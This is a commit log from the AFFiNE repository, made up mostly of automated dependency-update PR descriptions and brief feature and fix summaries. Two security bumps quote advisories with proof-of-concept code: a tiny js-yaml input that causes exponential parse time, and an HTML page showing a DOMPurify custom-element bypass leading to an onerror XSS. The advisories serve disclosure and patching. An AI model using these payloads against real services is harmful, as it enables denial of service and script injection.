Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4zLjIiLCJ1cGRhdGVkSW5WZXIiOiI0NC4zLjIiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
renovate[bot]
|
fb647b6003 |
chore: bump up js-yaml version to v5 [SECURITY] (#15385)
This PR contains the following updates:
| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [js-yaml](https://redirect.github.com/nodeca/js-yaml) | [`^4.2.0` →
`^5.0.0`](https://renovatebot.com/diffs/npm/js-yaml/4.3.0/5.2.2) |
|
|
---
### js-yaml: Exponential parsing time in flow collections leads to
denial of service
[GHSA-pm4m-ph32-ghv5](https://redirect.github.com/advisories/GHSA-pm4m-ph32-ghv5)
<details>
<summary>More information</summary>
#### Details
##### Summary
Parsing a small YAML document can take exponential time. An application
that calls `load()` or `loadAll()` on untrusted input can be hung by a
payload under 200 bytes.
##### Details
When an entry in a flow sequence turns out to be a `key: value` pair,
the parser rewinds and parses that entry a second time as the key.
If the key is itself a nested flow sequence of the same shape, every
level is parsed twice, so the total work is O(2^n) in the nesting depth.
The default `maxDepth` of 100 does not help, because the time is already
unmanageable at about 30 to 40 levels.
Root cause, potentially the: `readFlowCollection` in
[parser.ts](https://redirect.github.com/nodeca/js-yaml/blob/master/src/parser/parser.ts),
the `restoreState` followed by a second `parseNode` further down.
##### PoC
```javascript
const yaml = require('js-yaml')
const n = 30
yaml.load('[ '.repeat(n) + '1' + ' ]: 0'.repeat(n))
```
With default options: 22 levels takes about 1 second, 26 levels about 17
seconds, 30 levels over 2 minutes. The input stays under 200 bytes and
grows linearly with `n`.
##### Impact
Denial of service. A single small request can keep one CPU busy for
minutes or longer and blocks the Node event loop, so one request can
stall the whole process. No anchors, aliases, merges, tags, or non
default options are required, and it reproduces on the default schema.
#### Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
#### References
-
[https://github.com/nodeca/js-yaml/security/advisories/GHSA-pm4m-ph32-ghv5](https://redirect.github.com/nodeca/js-yaml/security/advisories/GHSA-pm4m-ph32-ghv5)
-
[
|
||
|
renovate[bot]
|
4f3ace6e7f |
chore: bump up apollographql/apollo-ios version to v1.25.7 (#13687)
This PR contains the following updates: | Package | Update | Change | |---|---|---| | [apollographql/apollo-ios](https://redirect.github.com/apollographql/apollo-ios) | patch | `from: "1.25.4"` → `from: "1.25.7"` | | [apollographql/apollo-ios](https://redirect.github.com/apollographql/apollo-ios) | patch | `1.25.4` → `1.25.7` | --- ### Release Notes <details> <summary>apollographql/apollo-ios (apollographql/apollo-ios)</summary> ### [`v1.25.7`](https://redirect.github.com/apollographql/apollo-ios/releases/tag/1.25.7) [Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.25.6...1.25.7) ##### Improved - **Expose `DatabaseRow` stored properties for `SQLiteDatabase` extensibility ([#​1056](https://redirect.github.com/apollographql/apollo-ios-dev/pull/1056)):** `DatabaseRow`'s stored properties (`cacheKey` and `storedInfo`) are now `public`, complementing the public initializer added in [#​664](https://redirect.github.com/apollographql/apollo-ios-dev/pull/664). This lets adopters build wrapper or decorator implementations of the public `SQLiteDatabase` protocol — for encryption, compression, logging, metrics, and similar use cases — without duplicating Apollo's SQLite implementation. This change only expands the public API surface and introduces no behavioral changes. *Thank you to [@​ErShubhShankar](https://redirect.github.com/ErShubhShankar) for the contribution.* ### [`v1.25.6`](https://redirect.github.com/apollographql/apollo-ios/releases/tag/1.25.6) [Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.25.5...1.25.6) ##### Fixed - **Fix `\r\n` in GraphQL descriptions generating invalid Swift comments ([#​965](https://redirect.github.com/apollographql/apollo-ios-dev/pull/965)):** GraphQL field descriptions containing `\r\n` (Windows CRLF) line endings caused codegen to emit invalid Swift — only the first line received the `///` doc comment prefix and subsequent lines were emitted as uncommented text, breaking compilation. Backport of [#​961](https://redirect.github.com/apollographql/apollo-ios-dev/pull/961). Fixes [#​3553](https://redirect.github.com/apollographql/apollo-ios/issues/3553). *Thank you to [@​iPhoneNoobDeveloper](https://redirect.github.com/iPhoneNoobDeveloper) for the contribution.* ### [`v1.25.5`](https://redirect.github.com/apollographql/apollo-ios/releases/tag/1.25.5) [Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.25.4...1.25.5) ##### Fixed - **Fixed concurrency crash in `compileGraphQLResult` on Swift 6.3/macOS 26 ([#​929](https://redirect.github.com/apollographql/apollo-ios-dev/pull/929)):** Serialized `async let` calls in `compileGraphQLResult` to work around a [Swift concurrency runtime crash](https://redirect.github.com/swiftlang/swift/pull/87665) triggered when code generation is used in an `AsyncParsableCommand`. See PR [#​942](https://redirect.github.com/apollographql/apollo-ios-dev/pull/942). *Thank you to [@​m4p](https://redirect.github.com/m4p) for the contribution.* </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about these updates again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xMzEuOSIsInVwZGF0ZWRJblZlciI6IjQzLjI3Mi40IiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
renovate[bot]
|
d3975a64f4 |
chore: bump up nestjs (#15276)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [@nestjs/common](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/common)) | [`11.1.27` → `11.1.28`](https://renovatebot.com/diffs/npm/@nestjs%2fcommon/11.1.27/11.1.28) |  |  | | [@nestjs/core](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/core)) | [`11.1.27` → `11.1.28`](https://renovatebot.com/diffs/npm/@nestjs%2fcore/11.1.27/11.1.28) |  |  | | [@nestjs/platform-express](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-express)) | [`11.1.27` → `11.1.28`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-express/11.1.27/11.1.28) |  |  | | [@nestjs/platform-socket.io](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-socket.io)) | [`11.1.27` → `11.1.28`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-socket.io/11.1.27/11.1.28) |  |  | | [@nestjs/swagger](https://redirect.github.com/nestjs/swagger) | [`11.4.4` → `11.4.6`](https://renovatebot.com/diffs/npm/@nestjs%2fswagger/11.4.4/11.4.6) |  |  | | [@nestjs/websockets](https://redirect.github.com/nestjs/nest) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/websockets)) | [`11.1.27` → `11.1.28`](https://renovatebot.com/diffs/npm/@nestjs%2fwebsockets/11.1.27/11.1.28) |  |  | --- ### Release Notes <details> <summary>nestjs/nest (@​nestjs/common)</summary> ### [`v11.1.28`](https://redirect.github.com/nestjs/nest/compare/v11.1.27...v11.1.28) [Compare Source](https://redirect.github.com/nestjs/nest/compare/v11.1.27...v11.1.28) </details> <details> <summary>nestjs/nest (@​nestjs/core)</summary> ### [`v11.1.28`](https://redirect.github.com/nestjs/nest/compare/v11.1.27...v11.1.28) [Compare Source](https://redirect.github.com/nestjs/nest/compare/v11.1.27...v11.1.28) </details> <details> <summary>nestjs/nest (@​nestjs/platform-express)</summary> ### [`v11.1.28`](https://redirect.github.com/nestjs/nest/compare/v11.1.27...v11.1.28) [Compare Source](https://redirect.github.com/nestjs/nest/compare/v11.1.27...v11.1.28) </details> <details> <summary>nestjs/nest (@​nestjs/platform-socket.io)</summary> ### [`v11.1.28`](https://redirect.github.com/nestjs/nest/releases/tag/v11.1.28) [Compare Source](https://redirect.github.com/nestjs/nest/compare/v11.1.27...v11.1.28) ##### v11.1.28 (2026-07-08) ##### Bug fixes - `core` - [#​17239](https://redirect.github.com/nestjs/nest/pull/17239) fix(core): trigger teardown of SSE producer Observable on client disconnect with interceptor ([@​jyx-07](https://redirect.github.com/jyx-07)) - `common` - [#​17257](https://redirect.github.com/nestjs/nest/pull/17257) fix(common): Add missing exception classes to HttpErrorByCode ([@​Se3do](https://redirect.github.com/Se3do)) - `websockets` - [#​17188](https://redirect.github.com/nestjs/nest/pull/17188) fix(websockets): correct type guard to check value not key ([@​Se3do](https://redirect.github.com/Se3do)) ##### Enhancements - `core` - [#​17241](https://redirect.github.com/nestjs/nest/pull/17241) feat(core): include auto-converted route in legacy route path warning ([@​ronielli](https://redirect.github.com/ronielli)) ##### Dependencies - `platform-fastify` - [#​17262](https://redirect.github.com/nestjs/nest/pull/17262) chore(deps): bump fastify from 5.8.5 to 5.10.0 ([@​dependabot\[bot\]](https://redirect.github.com/apps/dependabot)) - `platform-express` - [#​17164](https://redirect.github.com/nestjs/nest/pull/17164) fix(deps): update dependency multer to v2.2.0 \[security] ([@​renovate\[bot\]](https://redirect.github.com/apps/renovate)) ##### Committers: 4 - Mohammed Said ([@​Se3do](https://redirect.github.com/Se3do)) - Ronielli ([@​ronielli](https://redirect.github.com/ronielli)) - greymoth ([@​greymoth-jp](https://redirect.github.com/greymoth-jp)) - 종윤 ([@​jyx-07](https://redirect.github.com/jyx-07)) </details> <details> <summary>nestjs/swagger (@​nestjs/swagger)</summary> ### [`v11.4.6`](https://redirect.github.com/nestjs/swagger/releases/tag/11.4.6) [Compare Source](https://redirect.github.com/nestjs/swagger/compare/11.4.5...11.4.6) #### 11.4.6 (2026-07-17) ##### Features - [#​3964](https://redirect.github.com/nestjs/swagger/pull/3964) feat(plugin): infer ApiParam enum from [@​Param](https://redirect.github.com/Param) literal-union types ([@​y-hsgw](https://redirect.github.com/y-hsgw)) ##### Bug fixes - [#​3947](https://redirect.github.com/nestjs/swagger/pull/3947) fix(type-helpers): preserve array-ness for nested DTO arrays in DeepPartialType ([@​yogeshwaran-c](https://redirect.github.com/yogeshwaran-c)) - [#​3945](https://redirect.github.com/nestjs/swagger/pull/3945) fix(mimetype-content-wrapper): clone object per mimetype to avoid shared references ([@​yogeshwaran-c](https://redirect.github.com/yogeshwaran-c)) - [#​3972](https://redirect.github.com/nestjs/swagger/pull/3972) fix: avoid inline PickType schema collisions ([@​cyphercodes](https://redirect.github.com/cyphercodes)) - [#​3969](https://redirect.github.com/nestjs/swagger/pull/3969) fix: Added missing summary type to the response object ([@​MichielDeMey](https://redirect.github.com/MichielDeMey)) ##### Enhancements - [#​3949](https://redirect.github.com/nestjs/swagger/pull/3949) feat(api-query): support custom OpenAPI extensions ([@​yogeshwaran-c](https://redirect.github.com/yogeshwaran-c)) ##### Dependencies - [#​3986](https://redirect.github.com/nestjs/swagger/pull/3986) fix(deps): update dependency js-yaml to v5 ([@​renovate\[bot\]](https://redirect.github.com/apps/renovate)) ##### Committers: 4 - Michiel De Mey ([@​MichielDeMey](https://redirect.github.com/MichielDeMey)) - Rayan Salhab ([@​cyphercodes](https://redirect.github.com/cyphercodes)) - Yogeshwaran C ([@​yogeshwaran-c](https://redirect.github.com/yogeshwaran-c)) - Yukihiro Hasegawa ([@​y-hsgw](https://redirect.github.com/y-hsgw)) ### [`v11.4.5`](https://redirect.github.com/nestjs/swagger/releases/tag/11.4.5) [Compare Source](https://redirect.github.com/nestjs/swagger/compare/11.4.4...11.4.5) #### What's Changed - feat(plugin): generate additionalProperties for Record/index-signature types by [@​y-hsgw](https://redirect.github.com/y-hsgw) in [#​3957](https://redirect.github.com/nestjs/swagger/pull/3957) - fix(deps): update dependency swagger-ui-dist to v5.32.8 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​3973](https://redirect.github.com/nestjs/swagger/pull/3973) - fix(deps): update dependency js-yaml to v4.2.0 \[security] by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​3988](https://redirect.github.com/nestjs/swagger/pull/3988) **Full Changelog**: <https://github.com/nestjs/swagger/compare/11.4.4...11.4.5> </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNjUuMSIsInVwZGF0ZWRJblZlciI6IjQzLjI2NS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
renovate[bot]
|
b91db2ace4 |
chore: bump up opentelemetry (#15323)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [@opentelemetry/instrumentation-graphql](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/packages/instrumentation-graphql#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/HEAD/packages/instrumentation-graphql)) | [`^0.67.0` → `^0.69.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-graphql/0.67.0/0.69.0) |  |  | | [@opentelemetry/instrumentation-ioredis](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/packages/instrumentation-ioredis#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/HEAD/packages/instrumentation-ioredis)) | [`^0.67.0` → `^0.69.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-ioredis/0.67.0/0.69.0) |  |  | | [@opentelemetry/instrumentation-nestjs-core](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/packages/instrumentation-nestjs-core#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/HEAD/packages/instrumentation-nestjs-core)) | [`^0.65.0` → `^0.67.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-nestjs-core/0.65.0/0.67.0) |  |  | | [@opentelemetry/instrumentation-socket.io](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/packages/instrumentation-socket.io#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/HEAD/packages/instrumentation-socket.io)) | [`^0.66.0` → `^0.68.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-socket.io/0.66.0/0.68.0) |  |  | | [@opentelemetry/semantic-conventions](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/semantic-conventions) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.41.1` → `1.43.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsemantic-conventions/1.41.1/1.43.0) |  |  | --- ### Release Notes <details> <summary>open-telemetry/opentelemetry-js-contrib (@​opentelemetry/instrumentation-graphql)</summary> ### [`v0.69.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-graphql/CHANGELOG.md#0690-2026-07-23) [Compare Source]( |
||
|
DarkSky
|
dd1c8dc7dd |
fix(editor): test stability (#15377)
<!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Tests** * Improved automated validation for AI file embedding readiness. * Expanded coverage for paragraph behavior when converting between list types and deleting content. * Strengthened checks for block structure and formatting outcomes to help prevent regressions. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
DarkSky
|
a1defa8a3b | feat(server): update model list (#15375) | ||
|
DarkSky
|
00576e1e78 |
feat(server): improve blob sync (#15367)
<!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit - **New Features** - Standardized `usePresignedURL` configuration for AWS S3 and Cloudflare R2 (including `enabled`, `urlPrefix`, and `signKey`). - Storage upload URL generation now supports both direct provider presigning and server-mediated proxying based on configuration. - **Bug Fixes** - Tightened upload and multipart validation (content type/length checks, header vs query consistency, and stricter expiration handling). - Improved fallback behavior when direct upload URL initialization fails. - **Tests** - Updated R2 storage proxy end-to-end coverage to match the new URL/token behavior. - **Documentation** - Refreshed self-hosted JSON schema guidance for upload URL settings. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
DarkSky
|
b6fc0a2192 |
fix(mobile): mobile keyboard padding (#15365)
#### PR Dependency Tree * **PR #15365** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit - **Bug Fixes** - Improved mobile keyboard and toolbar layout handling when the keyboard overlays or resizes app content. - Prevented incorrect extra spacing when Android applies keyboard insets directly. - Updated toolbar sizing and visibility states for smoother transitions. - **Style** - Adjusted mobile bottom spacing to account for keyboard height, safe areas, and toolbar height. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
DarkSky
|
e7ec8a1032 |
feat(editor): improve select perf (#15353)
maybe fix #12675 #### PR Dependency Tree * **PR #15353** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit - **Bug Fixes** - Improved block selection updates so selected states refresh reliably. - Corrected selected-block ordering and duplicate handling. - Improved toolbar positioning accuracy and reduced unnecessary layout recalculations. - Adjusted toolbar animation behavior for surface-based tools. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
DarkSky
|
cfc7bbb90f |
feat(server): improve doc gc (#15363)
#### PR Dependency Tree * **PR #15363** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Bug Fixes** * Improved validation of workspace roots and document projections, with clearer failures for malformed or incomplete data. * Improved document reference rebuilding and cleanup reliability. * Updated document update merging to better handle invalid binary data. * **Performance** * Avoided unnecessary document reconstruction when no updates are pending. * **Tests** * Updated coverage for malformed workspace roots and document snapshot parsing. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
DarkSky
|
b05f165820 | fix(mobile): popover handle | ||
|
DarkSky
|
749f1c5f0b | fix(mobile): popover styles (#15351) | ||
|
DarkSky
|
b975e6b562 | chore: update config template (#15344) | ||
|
DarkSky
|
0d889bc643 |
feat: improve mac dock behavior (#15334)
#### PR Dependency Tree * **PR #15334** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Enhancements** * Improved main-window restoration for deep links, second-instance launches, tray/menu actions, and when recordings finish. * Refined macOS Dock show/hide behavior with throttling for smoother window visibility. * Updated close-to-tray/close-to-background handling to better manage the app’s window lifecycle. * Ensured popup/dock visibility is consistent when opening new windows. * Updated window behavior settings display so tray-related options render correctly across platforms. * **Localization** * Updated Simplified Chinese wording for menubar window behavior title. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
DarkSky
|
8001451fd5 |
fix(core): onenote import (#15332)
#### PR Dependency Tree * **PR #15332** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * Added improved Windows support for importing OneNote files, including `.one`, `.onetoc2`, and `.onepkg` formats. * Enabled reliable handling of Windows paths, including UNC and verbatim paths. * Added filesystem operations for reading, writing, discovering, and opening OneNote content on Windows. * **Bug Fixes** * Improved file access and path resolution during OneNote imports on Windows. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
DarkSky
|
174ad9bc55 |
feat(server): improve doc gc (#15329)
#### PR Dependency Tree * **PR #15329** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Improvements** * Enhanced reliability of document reconciliation/projection by improving failure tracking and resumability after partial runs. * Upgraded checkpoint persistence to include additional state (including parser version and failure counts) so interrupted processing can resume accurately. * Improved recovery behavior so repeated rebuilds and parser-upgrade scenarios correctly complete and reset failure indicators when appropriate. * **Tests** * Added integration coverage for checkpoint failure/resume semantics, including partial limits and upgrade-style recovery behavior. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
renovate[bot]
|
7c6a36728c |
chore: bump up dompurify version to v3.4.12 [SECURITY] (#15326)
This PR contains the following updates:
| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [dompurify](https://redirect.github.com/cure53/DOMPurify) | [`3.4.11`
→ `3.4.12`](https://renovatebot.com/diffs/npm/dompurify/3.4.11/3.4.12) |
|
|
---
### DOMPurify: `CUSTOM_ELEMENT_HANDLING` bypasses
`afterSanitizeElements` for allowed custom elements.
[GHSA-c2j3-45gr-mqc4](https://redirect.github.com/advisories/GHSA-c2j3-45gr-mqc4)
<details>
<summary>More information</summary>
#### Details
##### Summary
There is a possible hook-policy inconsistency in DOMPurify 3.4.11
involving `CUSTOM_ELEMENT_HANDLING`.
When a custom element is allowed via
`CUSTOM_ELEMENT_HANDLING.tagNameCheck`, it appears that the element does
not go through `afterSanitizeElements` in the same way as a normal
element. As a result, an application that relies on
`afterSanitizeElements` as a security policy layer to strip sensitive
attributes from all elements may see those attributes removed from
normal elements but preserved on allowed custom elements.
This does not appear to be a direct DOMPurify XSS or a case where
DOMPurify directly allows executable payloads. The preserved value is
still inert at sanitize time. The issue becomes relevant when the
allowed custom element later re-injects that attribute value into an
HTML sink such as `innerHTML`, creating a second-order XSS gadget.
##### Details
The issue appears to originate from the control flow in `src/purify.ts`:
line 1672~1691
```tsx
const _sanitizeDisallowedNode = function (
currentNode: any,
tagName: string
): boolean {
/* Check if we have a custom element to handle */
if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) {
if (
CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp &&
regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)
) {
return false;
}
if (
CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function &&
CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)
) {
return false;
}
}
```
`CUSTOM_ELEMENT_HANDLING` is parsed from user configuration at
`src/purify.ts`: line 741~748
```tsx
const customElementHandling =
objectHasOwnProperty(cfg, 'CUSTOM_ELEMENT_HANDLING') &&
cfg.CUSTOM_ELEMENT_HANDLING &&
typeof cfg.CUSTOM_ELEMENT_HANDLING === 'object'
? clone(cfg.CUSTOM_ELEMENT_HANDLING)
: create(null);
CUSTOM_ELEMENT_HANDLING = create(null);
```
In particular, `tagNameCheck`, `attributeNameCheck`, and
`allowCustomizedBuiltInElements` are copied into the internal
`CUSTOM_ELEMENT_HANDLING` object there.
During element sanitization, `_sanitizeElements()` checks whether a node
is forbidden or not allowlisted at `src/purify.ts`: line 1805~1814
```tsx
/* Remove element if anything forbids its presence */
if (
FORBID_TAGS[tagName] ||
(!(
EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
EXTRA_ELEMENT_HANDLING.tagCheck(tagName)
) &&
!ALLOWED_TAGS[tagName])
) {
return _sanitizeDisallowedNode(currentNode, tagName);
}
```
If so, it immediately delegates to `_sanitizeDisallowedNode(currentNode,
tagName)` and returns its boolean result.
Inside `_sanitizeDisallowedNode()`, the custom-element-specific allow
path is implemented at `src/purify.ts`: line 1672~1692
```tsx
const _sanitizeDisallowedNode = function (
currentNode: any,
tagName: string
): boolean {
/* Check if we have a custom element to handle */
if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) {
if (
CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp &&
regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)
) {
return false;
}
if (
CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function &&
CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)
) {
return false;
}
}
```
If the node is treated as a basic custom element and
`CUSTOM_ELEMENT_HANDLING.tagNameCheck` matches, the function returns
`false` immediately at line 1682 or 1689, meaning “do not remove this
node”.
That early `return false` is significant because control returns
directly to `_sanitizeElements()` via the `return
_sanitizeDisallowedNode(...)` at line 1813. As a result, the later logic
in `_sanitizeElements()` is skipped for that custom element instance,
including:
- the namespace validation at `src/purify.ts`: line 1816~1826
```tsx
* Check whether element has a valid namespace.
Realm-safe check (GHSA-hpcv-96wg-7vj8): use the cached Node.prototype
nodeType getter rather than `instanceof Element`, which is realm-
bound and short-circuits to false for any node minted in a different
realm — letting a foreign-realm element with a forbidden namespace
slip past the namespace check entirely. */
const nt = getNodeType ? getNodeType(currentNode) : currentNode.nodeType;
if (nt === NODE_TYPE.element && !_checkValidNamespace(currentNode)) {
_forceRemove(currentNode);
return true;
}
```
- the fallback-tag mXSS check at `src/purify.ts`: line 1828~1837
```tsx
/* Make sure that older browsers don't get fallback-tag mXSS */
if (
(tagName === 'noscript' ||
tagName === 'noembed' ||
tagName === 'noframes') &&
regExpTest(EXPRESSIONS.FALLBACK_TAG_CLOSE, currentNode.innerHTML)
) {
_forceRemove(currentNode);
return true;
}
```
- most importantly for this report, the `afterSanitizeElements` hook
dispatch at `src/purify.ts`: line 1850~1851.
```tsx
/* Execute a hook if present */
_executeHooks(hooks.afterSanitizeElements, currentNode, null);
```
In other words, a normal allowlisted element continues through
`_sanitizeElements()` and reaches `hooks.afterSanitizeElements`, but a
disallowed-by-default element that is revived by the
`CUSTOM_ELEMENT_HANDLING.tagNameCheck` path does not. This creates a
policy inconsistency: an application that relies on
`afterSanitizeElements` to remove an attribute from all elements will
observe that the policy is applied to normal elements but not to custom
elements allowed through `CUSTOM_ELEMENT_HANDLING`.
In the PoC, the application hook removes `data-bio` from ordinary
elements, but the same attribute remains on `<x-bio>` because the
custom-element keep path bypasses `afterSanitizeElements`. The attribute
itself is inert at sanitize time and DOMPurify is not directly allowing
executable SVG/HTML through. The security impact appears when the
application-defined custom element later reads the preserved `data-bio`
value in `connectedCallback()` and writes it to `innerHTML`, turning the
preserved attribute into a second-order XSS gadget.
##### PoC
Reproduced on DOMPurify 3.4.11.
##### Steps
1. Save the following HTML to a file, for example `poc.html`.
2. Open it in a browser.
3. Observe that the `div` control loses `data-bio`, while the allowed
custom element keeps it.
4. Observe that after `connectedCallback()` runs, the candidate payload
is reinserted into the DOM and executes through the custom element’s own
sink.
##### HTML PoC
```html
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.4.11/purify.min.js"></script>
</head>
<body>
<pre id="result"></pre>
<script>
window.__controlFired = false;
window.__candidateFired = false;
customElements.define("x-bio", class extends HTMLElement {
connectedCallback() {
const bio = this.getAttribute("data-bio");
if (bio) this.innerHTML = bio;
}
});
DOMPurify.addHook("afterSanitizeElements", node => {
if (node.hasAttribute && node.hasAttribute("data-bio")) {
node.removeAttribute("data-bio");
}
});
const config = {
CUSTOM_ELEMENT_HANDLING: {
tagNameCheck: /^x-/
}
};
const controlInput =
'<div data-bio="<img src=x onerror=window.__controlFired=true>"></div>';
const candidateInput =
'<x-bio data-bio="<img src=x onerror=window.__candidateFired=true>"></x-bio>';
const cleanControl = DOMPurify.sanitize(controlInput, config);
const cleanCandidate = DOMPurify.sanitize(candidateInput, config);
const container = document.createElement("div");
container.innerHTML = cleanCandidate;
document.body.appendChild(container);
setTimeout(() => {
document.getElementById("result").textContent =
"This is not direct DOMPurify XSS.\n" +
"The payload becomes executable only after x-bio writes data-bio into innerHTML.\n\n" +
"control: " + cleanControl + "\n" +
"candidate: " + cleanCandidate + "\n" +
"after connectedCallback: " + container.innerHTML + "\n" +
"control fired: " + window.__controlFired + "\n" +
"candidate fired: " + window.__candidateFired;
}, 100);
</script>
</body>
</html>
```
##### Expected result
```
control: <div></div>
candidate: <x-bio data-bio="<img src=x onerror=window.__candidateFired=true>"></x-bio>
after connectedCallback: <x-bio data-bio="..."><img src="x" onerror="window.__candidateFired=true"></x-bio>
control fired: false
